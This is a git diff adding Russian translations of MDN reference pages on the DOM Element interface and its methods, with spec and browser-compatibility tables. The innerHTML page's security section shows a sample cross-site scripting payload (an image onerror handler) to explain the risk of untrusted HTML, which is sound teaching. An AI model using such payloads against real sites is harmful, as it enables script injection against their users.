{{SpecName('DOM WHATWG', '#dom-element-hasattribute', 'Element.hasAttribute()')}}{{Spec2('DOM WHATWG')}}С {{SpecName('DOM3 Core')}}, перемещено с {{domxref("Node")}} к {{domxref("Element")}}
{{SpecName('DOM3 Core', 'core.html#ID-NodeHasAttrs', 'Element.hasAttribute()')}}{{Spec2('DOM3 Core')}}Нет изменений с {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-NodeHasAttrs', 'Element.hasAttribute()')}}{{Spec2('DOM2 Core')}}Исходное определение.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}8.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/api/element/hasattributes/index.html b/files/ru/web/api/element/hasattributes/index.html new file mode 100644 index 0000000000..1ab3c40fd8 --- /dev/null +++ b/files/ru/web/api/element/hasattributes/index.html @@ -0,0 +1,122 @@ +--- +title: Element.hasAttributes() +slug: Web/API/Element/hasAttributes +translation_of: Web/API/Element/hasAttributes +--- +
{{ApiRef("DOM")}}
+ +

Метод Element.hasAttributes() возвращает Boolean значение, указывая содержит данный элемент какие-либо атрибуты или нет.

+ +

Синтаксис

+ +
var result = element.hasAttributes();
+ +
+
result
+
содержит возвращаемое значение true или false.
+
+ +

Пример

+ +
var foo = document.getElementById("foo");
+if (foo.hasAttributes()) {
+    // do something with 'foo.attributes'
+}
+
+ +

Polyfill

+ +
;(function(prototype) {
+    prototype.hasAttributes = prototype.hasAttributes || function() {
+        return (this.attributes.length > 0);
+    }
+})(Element.prototype);
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-element-hasattributes", "Element.hasAttributes()")}}{{Spec2('DOM WHATWG')}}Moved from the {{domxref("Node")}} interface to the more specialized {{domxref("Element")}} interface.
{{SpecName('DOM3 Core','#ID-NodeHasAttrs','hasAttributes()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName("DOM2 Core")}}
{{SpecName('DOM2 Core','#ID-NodeHasAttrs','hasAttributes()')}}{{Spec2('DOM2 Core')}}Initial definition, on the {{domxref("Node")}} interface.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]9{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Before Firefox 35, it was implemented on the {{domxref("Node")}} interface.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/id/index.html b/files/ru/web/api/element/id/index.html new file mode 100644 index 0000000000..62fd77b730 --- /dev/null +++ b/files/ru/web/api/element/id/index.html @@ -0,0 +1,121 @@ +--- +title: Element.id +slug: Web/API/Element/id +tags: + - API + - DOM + - Element + - Property + - Reference +translation_of: Web/API/Element/id +--- +
{{ ApiRef("DOM") }}
+ +
Свойство id представляет идентификатор элемента, отражая глобальный аттрибут id.
+ +
+ +

Если значение id не пустое, то оно должно быть уникально в документе.

+ +

id часто используется с {{domxref("document.getElementById", "getElementById")}}, чтобы получить нужный элемент. Часто применяют ID как селектор, для стилизации документа, с помощью CSS.

+ +
+

Замечание: идентификаторы чувствительны к регистру, но вам следует избегать создание id, которых различает регистр (смотрите Чувствительность к регистру в классах и id'шниках).

+
+ +

Синтаксис

+ +
var idStr = element.id; // Получаем id.
+
+ +
element.id = idStr; // Применяем id
+
+ +

idStr - идентификатор элемента

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}{{Spec2('DOM WHATWG')}}Нет изменений от {{SpecName('DOM2 HTML')}}.
{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}{{Spec2('DOM2 HTML')}}Нет отличий от {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}{{Spec2('DOM1')}}Изначальное определение.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/index.html b/files/ru/web/api/element/index.html new file mode 100644 index 0000000000..3f95a90be6 --- /dev/null +++ b/files/ru/web/api/element/index.html @@ -0,0 +1,297 @@ +--- +title: Element +slug: Web/API/Element +tags: + - API + - DOM + - Element + - Interface + - Reference +translation_of: Web/API/Element +--- +

{{ APIRef("DOM") }}

+ +

Интерфейс Element представляет собой один из объектов в {{domxref("Document")}}. Этот интерфейс описывает методы и свойства, общие для всех видов элементов. Конкретные модели поведения описаны в интерфейсах, которые наследуют от Element, и добавляют дополнительную функциональность.

+ +

Например, интерфейс {{domxref("HTMLElement")}} является базовым интерфейсом для HTML-элементов, в то время как интерфейс {{domxref("SVGElement")}} является основой для всех SVG-элементов.

+ +

Языки, находящиеся вне области веб-платформы, также используют его. Например, XUL — через интерфейс XULElement.

+ +

{{InheritanceDiagram}}

+ +

Свойства

+ +

Наследует свойства от родительского узла {{domxref("Node")}} и от собственного родителя {{domxref("EventTarget")}} и реализует свойства {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}, and {{domxref("Animatable")}}.

+ +
+
{{ domxref("Element.assignedSlot")}} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{domxref("HTMLSlotElement")}} интерфейс, связанный с элементом.
+
{{ domxref("Element.attributes") }} {{readOnlyInline}}
+
Возвращает {{ domxref("NamedNodeMap") }}, в котором перечислены все атрибуты связанные с элементом.
+
{{ domxref("Element.classList") }} {{readOnlyInline}}
+
Возвращает {{ domxref("DOMTokenList") }} содержащий список атрибутов класса.
+
{{ domxref("ParentNode.childElementCount") }}
+
Это {{jsxref("Number")}} представляющее число дочерних узлов, представленных в элементе.
+
{{ domxref("ParentNode.children") }}
+
Is a live {{ domxref("HTMLCollection") }}, содержащая все дочерние элементы, в виде коллекции.
+
{{ domxref("Element.className") }}
+
Это {{domxref("DOMString")}}, представляющая класс элемента.
+
{{ domxref("Element.clientHeight") }} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, представляющее внутреннюю высоту элемента.
+
{{ domxref("Element.clientLeft") }} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, предсталяющее ширину левой границы элемента.
+
{{ domxref("Element.clientTop") }} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, представляющее ширину верхней границы элемента.
+
{{ domxref("Element.clientWidth") }} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, представляющее внутреннюю ширину элемента.
+
{{ domxref("ParentNode.firstElementChild") }}
+
Возвращает {{ domxref("Element") }}, первый дочерний элемент элемента или null, если у элемента нет дочерних элементов.
+
{{ domxref("Element.id") }}
+
Возвращает {{domxref("DOMString")}}, представляющий идентификатор (Id) элемента.
+
{{ domxref("Element.innerHTML") }} {{experimental_inline}}
+
Является {{domxref("DOMString")}}, представляющей разметку контента элемента.
+
{{domxref("Element.namespaceURI")}} {{readonlyInline}}
+
Пространство имён URI элемента или null, если это не пространство имен.
+
+
+

Примечание: В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имен. В более поздних версиях, HTML элементы находятся в пространстве имен  http://www.w3.org/1999/xhtml  как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}

+
+
+
+ +
+
{{ domxref("ParentNode.lastElementChild") }}
+
Является {{ domxref("Element") }}, последним непосредственным дочерним элементом данного элемента, или null, если у элемента нет дочерних элементов.
+
{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }}
+
Является {{ domxref("Element") }}, элементом, непосредственно следующим за данным в древе, или null, если соседний элемент отсутствует.
+
{{ domxref("Element.outerHTML") }} {{experimental_inline}}
+
Является {{domxref("DOMString")}}, представляющей разметку элемента, включая его контент. При использовании в качестве сеттера заменяет элемент узлами, структурированными из указанной строки.
+
{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }}
+
Является {{ domxref("Element") }}, элементом, непосредственно предшествующим в древе данному, или null, если соседний элемент отсутствует.
+
{{ domxref("Element.scrollHeight") }} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, представляющее высоту прокрутки элемента.
+
{{ domxref("Element.scrollLeft") }} {{experimental_inline}}
+
Является {{jsxref("Number")}}, представляющим количество пикселей, на которые контент элемента прокручен влево.
+
{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, представляющее максимально возможное количество пикселей, на которые можно прокрутить контент элемента влево.
+
{{ domxref("Element.scrollTop") }} {{experimental_inline}}
+
Является {{jsxref("Number")}}, представляющим количество пикселей, на которые контент элемента прокручен от верха.
+
{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}
+
Вовзращает {{jsxref("Number")}}, представляющее максимально возможное количество пикселей, на которые можно прокрутить контент элемента от верха.
+
{{ domxref("Element.scrollWidth") }} {{experimental_inline}} {{readOnlyInline}}
+
Возвращает {{jsxref("Number")}}, представляющее ширину прокрутки элемента.
+
{{domxref("Element.shadowRoot") }} {{experimental_inline}} {{readOnlyInline}}
+
...
+
{{ domxref("Element.tagName") }} {{readOnlyInline}}
+
Возвращает {{domxref("String")}} с именем тега указанного элемента.
+
{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}
+
Returns the {{domxref("UndoManager")}} associated with the element.
+
{{ domxref("Element.undoScope")}} {{experimental_inline}}
+
Представляет собой {{jsxref("Boolean")}}, указывающим, является элемент undo scope host, или нет.
+
+ +
+

Примечание: В DOM3 namespaceURI, localName и prefix определялись в интерфейсе {{domxref("Node")}}. В DOM4 они были перенесены в Element.

+ +

Данное изменение поддерживается в Chrome начиная с версии 46.0 и в Firefox с версии 48.0.

+
+ +

Обработчики событий

+ +
+
{{ domxref("Element.ongotpointercapture") }}
+
Возвращает обработчик событий для событий типа {{event("gotpointercapture")}}.
+
{{ domxref("Element.onlostpointercapture") }}
+
Возвращает обработчик событий для событий типа {{event("lostpointercapture")}}.
+
+ +

Устаревшие обработчики событий

+ +
+
{{ domxref("Element.onwheel") }} {{ non-standard_inline() }}
+
Возвращает код обработчика для события wheel.
+ Сейчас реализован в {{domxref("GlobalEventHandlers.onwheel", "GlobalEventHandlers")}}.
+
+ +

Методы

+ +

Наследует методы от своих родителей {{domxref("Node")}}, и своего собственного родителя {{domxref("EventTarget")}}, и реализует методы {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}, и {{domxref("Animatable")}}.

+ +
+
{{ domxref("EventTarget.addEventListener()") }}
+
Регистрирует обработчик событий для опрделенного типа событий в элементе.
+
{{ domxref("Element.closest()")}} {{experimental_inline}}
+
Возращает {{domxref("Element")}}, потомка этого элемента (или сам этот элемент), который является ближайшим предком элементов, выбраных селекторами, указанными в параметре.
+
{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}}
+
…
+
{{ domxref("EventTarget.dispatchEvent()") }}
+
Отправляет событие для этого узла в DOM и возвращает {{jsxref("Boolean")}}, который указывает, что по крайней мере один обработчик не отменил его.
+
{{domxref("Element.find()")}}{{experimental_inline}}
+
...
+
{{domxref("Element.findAll()")}}{{experimental_inline}}
+
...
+
{{domxref("Animatable.getAnimationPlayers()")}} {{experimental_inline}}
+
…
+
{{ domxref("Element.getAttribute()") }}
+
Извлекает значение именованного атрибута из текущего узла и возвращает его в виде{{jsxref("Object")}}.
+
{{ domxref("Element.getAttributeNS()") }}
+
Извлекает значение атрибута с указанным именем и пространством имен из текущего узла и возвращает его как {{jsxref("Object")}}.
+
{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}
+
Извлекает представление узла именованного атрибута из текущего узла и возвращает его в виде {{ domxref("Attr") }}.
+
{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}
+
Извлекает представление узла атрибута с указанным именем и пространством имен из текущего узла и возвращает его в виде {{ domxref("Attr") }}.
+
{{ domxref("Element.getBoundingClientRect()") }} {{experimental_inline}}
+
...
+
{{ domxref("Element.getClientRects()") }} {{experimental_inline}} TYPE of returnvalue????
+
Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.
+
{{domxref("Element.getDestinationInsertionPoints()")}} {{experimental_inline}}
+
…
+
{{ domxref("Element.getElementsByClassName()") }}
+
Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название класса совпадает с тем, что заданно в параметрах функции.
+
{{ domxref("Element.getElementsByTagName()") }}
+
Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега совпадает с тем, что заданно в параметрах функции.
+
{{ domxref("Element.getElementsByTagNameNS()") }}
+
Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега и пространства имён совпадает с тем, что заданно в параметрах функции.
+
{{ domxref("Element.hasAttribute()") }}
+
Вовзращает {{jsxref("Boolean")}}, указывающее, имеет элемент определенный атрибут, или нет.
+
{{ domxref("Element.hasAttributeNS()") }}
+
Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определенный атрибут в определенном пространстве имен, или нет.
+
{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}
+
Анализирует текст как HTML или XML и вставляет полученные узлы в указанную позицию дерева элементов.
+
{{ domxref("Element.matches()") }} {{experimental_inline}}
+
Возвращает {{jsxref ("Boolean")}}, указывающий, будет ли элемент выбран указанной строкой селектора.
+
{{ domxref("Element.querySelector()") }}
+
Возвращает первый {{DOMxRef ("Node")}}, который соответствует указанной строке селектора элемента.
+
{{ domxref("Element.querySelectorAll") }}
+
Возвращает список {{DOMxRef ("NodeList")}} узлов, которые соответствуют указанной строке селектора элемента.
+
{{ domxref("Element.releasePointerCapture")}} {{experimental_inline}}
+
Позволяет понять, имеет ли элемент с указанным ID  захват указателя для указателя
+
{{domxref("ChildNode.remove()")}}
+
Удаляет элемент из списка дочерних элементов родительского элемента.
+
{{ domxref("Element.removeAttribute()") }}
+
Удаляет именованный атрибут из текущего узла.
+
{{ domxref("Element.removeAttributeNS()") }}
+
Удаляет атрибут с указанным именем и пространством имен, из текущего узла.
+
{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}
+
Удаляет представление узла именованного атрибута из текущего узла.
+
{{ domxref("EventTarget.removeEventListener()") }}
+
Удаляет прослушиватель событий из элемента.
+
{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}
+
Асинхронно запрашивает браузер, чтобы сделать элемент полноэкранным.
+
{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}
+
Позволяет асинхронно запрашивать блокировку указателя для данного элемента.
+
+ +
+
{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}
+
Прокручивает страницу до тех пор, пока элемент не попадет в представление.
+
{{ domxref("Element.setAttribute()") }}
+
Устанавливает значение именованного атрибута из текущей узла.
+
{{ domxref("Element.setAttributeNS()") }}
+
Устанавливает значение атрибута с опрделенным именем и пространством имен из текущей узла.
+
{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}
+
Задает представление узла именованного атрибута из текущего узла.
+
{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}
+
Установите представление узла атрибута с указанным именем и пространством имен из текущего узла.
+
{{ domxref("Element.setCapture()") }} {{non-standard_inline}}
+
Настройка захвата событий мыши, перенаправление всех событий мыши на этот элемент.
+
{{domxref("Element.setPointerCapture()")}}
+
Определяет указанный элемент как цель захвата будущих событий указателя.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Web Animations", '', '')}}{{Spec2("Web Animations")}}Добавлен метод getAnimationPlayers().
{{SpecName('Undo Manager', '', 'Element')}}{{Spec2('Undo Manager')}}Добавлены свойства undoScope и undoManager.
{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('Pointer Events')}}Добавлены следующие обработчики событий: ongotpointercapture и onlostpointercapture.
+ Добавлены следующие методы: setPointerCapture() и releasePointerCapture().
{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 2')}}Добавлены следующие методы: matches() (реализовано как mozMatchesSelector()), find(), findAll().
{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 1')}}Добавлены следующиен методы: querySelector() и querySelectorAll().
{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}{{Spec2('Pointer Lock')}}Добавлен метод requestPointerLock().
{{SpecName('Fullscreen', '#api', 'Element')}}{{Spec2('Fullscreen')}}Добавлен метод requestFullscreen().
{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('DOM Parsing')}}Добавлены следующие свойства: innerHTML, и outerHTML.
+ Добавлен следующий метод: insertAdjacentHTML().
{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('CSSOM View')}}Добавлены следующие свойства: scrollTop, scrollLeft, scrollWidth, scrollHeight, clientTop, clientLeft, clientWidth, и clientHeight.
+ Добавлены следующие методы: getClientRects(), getBoundingClientRect(), и scrollIntoView().
{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}{{Spec2('Element Traversal')}}Добавлено наследование интерфейса {{domxref("ElementTraversal")}}.
{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}{{Spec2('DOM WHATWG')}}Удалены следующие методы: closest(), setIdAttribute(), setIdAttributeNS(), и setIdAttributeNode().
+ Удалено свойство schemaTypeInfo.
+ Измененно возращаемое значение getElementsByTag() и getElementsByTagNS().
+ Moved hasAttributes() form the Node interface to this one.
{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM3 Core')}}Added the following methods: setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode(). These methods were never implemented and have been removed in later specifications.
+ Added the schemaTypeInfo property. This property was never implemented and has been removed in later specifications.
{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM2 Core')}}Мнтод normalize() был перемещён в {{domxref("Node")}}.
{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}{{Spec2('DOM1')}}Начальное определение.
+ +

Совместимость с браузерами

+ +
{{Compat("api.Element")}}
+ +
diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html new file mode 100644 index 0000000000..60af461354 --- /dev/null +++ b/files/ru/web/api/element/innerhtml/index.html @@ -0,0 +1,167 @@ +--- +title: Element.innerHTML +slug: Web/API/Element/innerHTML +translation_of: Web/API/Element/innerHTML +--- +
{{APIRef("DOM")}}
+ +

Свойство интерфейса {{domxref("Element")}} innerHTML устанавливает или получает HTML или XML разметку дочерних элементов.

+ +
Примечание: Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы (&), (<), или (>), innerHTML вернет эти символы как &amp, &lt и &gt соответсвенно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. 
+ +

 Чтобы вставить HTML в документ, не меняя содержимое элемента, используйте {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.

+ +

Синтаксис

+ +
const content = element.innerHTML;
+
+element.innerHTML = htmlString;
+
+ +

Value

+ +

Строка {{domxref("DOMString")}}, которая содержит части HTML разметки. Установка значения innerHTML удаляет всё содержимое элемента и заменяет его на узлы, которые были разобраны как HTML, указанными в строке htmlString.

+ +

Исключения

+ +
+
SyntaxError
+
Возникает при попытке установить значение innerHTML строкой, в которой содержится неправильно сформированный HTML.
+
NoModificationAllowedError
+
Возникает при попытке вставить HTML в узел, у которого родителем является {{domxref("Document")}}.
+
+ +

Примечания

+ +

Это свойство предоставляет простой способ полностью заменить содержимое элемента. Например, все содержимое элемента body может быть удалено:

+ +
document.body.innerHTML = "";  // Заменяет содержимое тела пустой строкой.
+ +

Свойство innerHTML многих типов элементов, включая {{HTMLElement("body")}} или {{HTMLElement("html")}}, могут быть возвращены или перемещены. Это может так же быть использовано для просмотра кода страницы, которая была изменена динамически:

+ +
// Скопируйте и вставьте в адресную строку в виде одной строки.
+javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&lt;") + "</pre>";
+
+ +

Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введен текст в поле ввода <input>, IE меняет значение атрибута <input> свойства innerHTML, но браузеры Gecko не делают этого.

+ +

Соображения безопасности

+ +

Не редко можно увидеть использование InnerHTML для вставки текста в веб страницу. Это приводит к рискам безопасности.

+ +
const name = "John";
+// предполагая, что 'el' является HTML DOM элементом.
+el.innerHTML = name; // безвредный в этом случае
+
+// ...
+
+name = "<script>alert('Я Джон в раздражающем alert!')</script>";
+el.innerHTML = name; // безвредный в этом случае
+ +

Хотя это может выглядеть как атака {{interwiki("wikipedia", "cross-site scripting")}}, результат безопасный. HTML5 указывает на тег {{HTMLElement("script")}} вставленный через InnerHTM должен не выполнится.

+ +

Однако, есть способы запустить JavaScript без использования элементов {{HTMLElement("script")}}, так что есть риск безопасности всякий раз, когда вы используете innerHTML для набора строк, над которыми у вас нет контроля. Например:

+ +
const name = "<img src='x' onerror='alert(1)'>";
+el.innerHTML = name; // показывает alert
+ +

По этой причине,  рекомендуется не использовать innerHTML при вставке обычного текста; вместо этого, используйте {{domxref("node.textContent")}}. Это не интерпретирует отправленный контент как HTML, но вместо этого он вставляется как не обработанный текст. 

+ +

Примеры

+ +

Этот пример использует innerHTML для создания механизма логгирования сообщений внутри элемента на странице.

+ +

JavaScript

+ +
function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "<br/>";
+}
+
+log("Регистрация событий мыши внутри этого контейнера...");
+ +

Функция log() создаёт сообщение получая текущее время из объекта {{jsxref("Date")}}, используя {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}, и соединяя стороку с временной меткой с текстовым сообщением. Затем сообщение добавляется в элемент с классом "log".

+ +

Мы добавляем второй метод, который логгирует информацию о событиях на основе {{domxref("MouseEvent")}} (например, {{event("mousedown")}}, {{event("click")}}, и {{event("mouseenter")}}):

+ +
function logEvent(event) {
+  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
+            event.clientX + ", " + event.clientY + "</em>";
+  log(msg);
+}
+ +

Затем мы используем этот обработчик событий на элементе, который содержит наше логгирование, для каждого события мыши:

+ +
var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);
+ +

HTML

+ +

HTML довольно простой для нашего примера.

+ +
<div class="box">
+  <div><strong>Log:</strong></div>
+  <div class="log"></div>
+</div>
+ +

{{HTMLElement("div")}} c классом "box" – просто контейнер для, который даст содержимому пространство вокруг себя. <div> с классом "log" является контейнером для логгирования текста внутри себя.

+ +

CSS

+ +

Для нашего примера используем следующие CSS стили.

+ +
.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}
+ +

Результат

+ +

В результате мы получаем такое содержимое. Вы можете видеть логи наводя мышь на элемент, кликая на него и так далее.

+ +

{{EmbedLiveSample("Example", 640, 350)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM Parsing', '#widl-Element-innerHTML', 'Element.innerHTML')}}{{Spec2('DOM Parsing')}}Первоначальное определение
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/insertadjacentelement/index.html b/files/ru/web/api/element/insertadjacentelement/index.html new file mode 100644 index 0000000000..a6f23f2aa1 --- /dev/null +++ b/files/ru/web/api/element/insertadjacentelement/index.html @@ -0,0 +1,129 @@ +--- +title: Element.insertAdjacentElement() +slug: Web/API/Element/insertAdjacentElement +tags: + - API + - DOM + - Element + - Gecko + - Method + - Reference + - insertAdjacentElement +translation_of: Web/API/Element/insertAdjacentElement +--- +

{{APIRef("DOM")}}

+ +

Метод insertAdjacentElement() добавляет переданный элемент в DOM-дерево относительно элемента, вызвавшего метод.

+ +

Синтаксис

+ +
targetElement.insertAdjacentElement(position, element);
+ +

Параметры

+ +
+
position
+
{{domxref("DOMString")}} - определяет позицию добавляемого элемента относительно элемента, вызвавшего метод. Должно соответствовать одному из следующих значений (чувствительно к регистру): +
    +
  • 'beforebegin': до самого element (до открывающего тега).
    • +
  • 'afterbegin': сразу после открывающего тега  element (перед первым потомком).
    • +
  • 'beforeend': сразу перед закрывающим тегом element (после последнего потомка).
    • +
  • 'afterend': после element (после закрывающего тега).
    • +
+
+
element
+
Элемент, добавляемый в DOM-дерево.
+
+ +

Возвращаемое значение

+ +

Метод возвращает добавляемый элемент, либо null, если добавление элемента завершилось ошибкой.

+ +

Исключения

+ + + + + + + + + + + + + + + + + + +
ИсключениеПояснение
SyntaxErrorПереданное значение position не соответствует ни одному из допустимых.
TypeErrorПередаваемый element не является валидным.
+ +

Наглядное отображение параметра position

+ +
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+ +
Примечаение: значения beforebegin и afterend работают только если targetElement находится в DOM-дереве и имеет родительский элемент.
+ +

Примеры

+ +
beforeBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('beforebegin',tempDiv);
+  }
+  setListener(tempDiv);
+});
+
+afterBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('afterend',tempDiv);
+  }
+  setListener(tempDiv);
+});
+ +

Посмотрите наше демо insertAdjacentElement.html на Github (так же посмотрите исходный код). В этом демо мы имеем последовательность {{htmlelement("div")}} элементов внутри контейнера. При выборе одного из них можно нажать кнопку Insert before или Insert after и добавить новые div до или после выбранного  элемента используя метод insertAdjacentElement().

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-element-insertadjacentelement', 'insertAdjacentElement()')}}{{ Spec2('DOM WHATWG') }}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.insertAdjacentElement")}}

+ +
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/insertadjacenthtml/index.html b/files/ru/web/api/element/insertadjacenthtml/index.html new file mode 100644 index 0000000000..e2750b8f47 --- /dev/null +++ b/files/ru/web/api/element/insertadjacenthtml/index.html @@ -0,0 +1,88 @@ +--- +title: Element.insertAdjacentHTML() +slug: Web/API/Element/insertAdjacentHTML +translation_of: Web/API/Element/insertAdjacentHTML +--- +
{{ApiRef("DOM")}}
+ +

insertAdjacentHTML() разбирает указанный текст как HTML или XML и вставляет полученные узлы (nodes) в DOM дерево в указанную позицию. Данная функция не переписывает имеющиеся элементы, что предотвращает дополнительную сериализацию и поэтому работает быстрее, чем манипуляции с {{domxref("Element.innerHTML", "innerHTML")}}.

+ +

Синтаксис

+ +
targetElement.insertAdjacentHTML(position, text);
+ +

Параметры

+ +
+
position
+
{{domxref("DOMString")}} - определяет позицию добавляемого элемента относительно элемента, вызвавшего метод. Должно соответствовать одному из следующих значений (чувствительно к регистру): +
    +
  • 'beforebegin': до самого element (до открывающего тега).
    • +
  • 'afterbegin': сразу после открывающего тега  element (перед первым потомком).
    • +
  • 'beforeend': сразу перед закрывающим тегом element (после последнего потомка).
    • +
  • 'afterend': после element (после закрывающего тега).
    • +
+
+
